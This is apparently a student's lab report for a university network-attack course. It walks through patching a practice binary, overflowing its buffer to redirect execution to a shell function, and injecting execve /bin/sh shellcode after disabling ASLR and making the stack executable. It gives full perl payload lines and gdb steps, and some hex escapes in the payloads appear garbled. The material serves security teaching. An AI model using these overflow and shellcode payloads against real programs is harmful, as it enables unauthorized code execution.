20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解

20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解

任务一 手动修改机器指令,改变程序执行流程

  1. 在老师云班课网页链接里找到pwn1,下载到共享文件夹里
  2. 打开kali虚拟机终端,通过mkdir -p命令新建多级目录,通过cp命令将共享文件夹的pwn复制到新建目录里,再通过```
    cp
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310222057783-1775753119.png)

3. 通过```
objdump -d pwn1 | more
```命令对pwn1反汇编
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310222204280-1858807407.png)


4. 汇编指令出来后,回车查看更多,翻到getshell、foo与main函数查看其地址,main函数call的地址是8048491即foo函数的首地址,getshell的首地址是804847d。call的机器指令为e8 7dffffff,e8为call的机器指令,7dffffff即0xffffff7d是关于eip寄存器地址的偏移地址即等于eip寄存器指令存放下条指令地址0x80484ba-目的地址0x8048491
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310222223282-991653935.png)

5. 现任务是将call的地址改为getshell的首地址804847d,通过计算公式call指令后应该填入:“目的地址-call指令后一指令的地址”所以计算出应该将机器指令e8 7dffffff的地址部分换成0x80484ba-0x804847d=0xffffffc3即c3ffffff,通过```
vi pwn1
```命令对pwn1文件进行编辑,可以看到文件内容是16进制,可以通过```
:%!xxd
```将文件内容转换成可以读懂的ASCII码
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310222451061-1630117963.png)


6. 转换成ASCII码之后,通过输入```
/e8 7d
```可以查找main函数call指令的机器代码
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310223859362-1398457741.png)

7. 将光标定位在d上按r输入```c```,光标定位在7上按r输入```3```,然后输入```%!xxd -r```将ASCII代码转换为16进制
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310230057628-1142767533.png)

8. 输入```:wq```保存退出
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310230159456-1322345002.png)


9. 此时再反汇编查看main函数call的函数已经变为getshell
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310230228566-1147849625.png)

10. 运行pwn1,主函数会调用getshell函数
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200310230254373-1236818410.png)


##任务二  通过构造输入值,造成BOF攻击,从而改变程序执行顺序
1. 删除pwn1将备份的pwn1.bak还原命名为pwn1,并对pwn1进行反汇编
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311011609963-1568318099.png)

2. 可以看到,main函数为foo函数输入的预留空间为0x1c,即28字节,加上ebp寄存器的4字节,所以eip寄存器的值应为31-34字节的值
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311012314718-237673192.png)

3. 使用```gdb pwn2```命令调试程序,输入r运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault。其中的31-34个字符‘1234’会覆盖eip寄存器的值,用```info r```查看寄存器的值,eip为0x34333231,若将eip的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311012201885-738373247.png)


4. 无法从键盘输入16进制的值,所以用```perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input```命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写,a是换行。
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311010708605-641806270.png)

5. 通过```(cat input; cat ) | ./pwn2```pwn2并将input里边的内容输入到pwn2运行的程序中,就可以跳到getshell函数中
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311010944653-214006857.png)

##任务三 注入shellcode并执行
1. 将pwn1.bak还原并命名为pwn3
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311105509295-321256575.png)



2. 下载execstack
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311013550255-1735191643.png)


3. 准备工作
```execstack -s pwn3``` 设置堆栈可执行
```execstack -q pwn3``` 查询文件的堆栈是否可执行,结果为X表示可执行
```more /proc/sys/kernel/randomize_va_space``` 查看随机化是否关闭
```echo "0" > /proc/sys/kernel/randomize_va_space``` 关闭随机化
```more /proc/sys/kernel/randomize_va_space``` 再次查看,结果为0证明已关闭
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311105549606-714411469.png)

4. 通过```perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode```构造老师给的shellcode,并将shellcode保存到input_shellcode
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311105810854-675633317.png)

5. 打开两个终端,在第一个终端中输入```(cat input_shellcode;cat) | ./pwn3```运行pwn3,在第二个终端中输入```ps -ef | grep pwn3```查看pwn3的进程号为4497
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311112013957-2035698453.png)


6. 接下来通过```gdb```命令开始调试,输入```attach 4497```连接到pwn3进程,连接后输入```disassemble foo```对foo函数进行反汇编查看foo函数return指令的地址为0x080448ae,然后输入```break *0x080448ae```再此处设置断点
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311112407798-1464130170.png)

7. 在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入```info r esp```查看esp寄存器的值为0xffffd21c
输入```x/16x 0xffffd32c```以16进制形式查看0xffffd32c地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd32c+0x00000004=0xffffd330
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311111818633-758155278.png)


8. 通过```perl -e 'print "A" x 32;print"x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode```重新构造改完注入地址的input_shellcode,并输入```(cat input_shellcode;cat) | ./pwn3```运行pwn3,可以跳到构造的shellcode程序中
![](https://img2020.cnblogs.com/blog/1603038/202003/1603038-20200311111703048-1613193482.png)

##问题回答及实验心得
1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是"90"
JNE汇编指令的机器码是"75"
JE 汇编指令的机器码是"74"
JMP汇编指令的机器码是"eb"
CMP汇编指令的机器码是"39"

2. “什么是漏洞,漏洞的危害?”
答:我认为漏洞是指系统有可能被攻击的程序弱点和缺陷。例如:我们可以将地址随机化关闭,并通过注入目的地址完成运行代码的注入攻击,那么这个就是系统的漏洞。漏洞的危害是有可能使系统运行过程中运行未经授权的程序代码导致被恶意攻击,破坏系统和相关程序的安全性和完整性。

3. 实验心得:通过本次实验,熟悉掌握了call指令、eip寄存器、反汇编指令objdump、使用16进制计算器等相关内容,强化理解了exp0中学习的Linux指令。通过实验中三种不同的方法调用shellcode也回顾了汇编课程和数据结构的有关知识,可以说是收获颇丰。非常感谢老师录屏课程的耐心讲解,由于实验前期kali设置问题只添加了学号没有使用个人拼音,但全程实为自己动手还望老师谅解。希望通过之后的动手实践、掌握更多相关知识。
原文地址:https://www.cnblogs.com/lcyll/p/12459534.html